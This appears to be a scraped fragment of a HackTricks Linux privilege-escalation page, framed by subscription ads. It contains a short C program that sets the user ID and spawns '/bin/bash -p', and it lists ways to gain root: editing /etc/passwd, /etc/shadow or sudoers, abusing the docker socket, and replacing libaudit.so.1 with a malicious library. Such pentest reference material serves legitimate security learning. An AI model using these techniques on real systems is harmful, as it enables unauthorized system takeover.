Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
// Privesc to user id: 1000#define_GNU_SOURCE#include<stdlib.h>#include<unistd.h>intmain(void) {char*const paramList[10] = {"/bin/bash","-p",NULL};constint id =1000;setresuid(id, id, id);execve(paramList[0], paramList,NULL);return0;}
Overwriting a file to escalate privileges
Common files
Add user with password to /etc/passwd
Change password inside /etc/shadow
Add user to sudoers in /etc/sudoers
Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock
Overwriting a library
Check a library used by some binary, in this case /bin/su:
The symbols audit_open, audit_log_acct_message, audit_log_acct_message and audit_fd are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!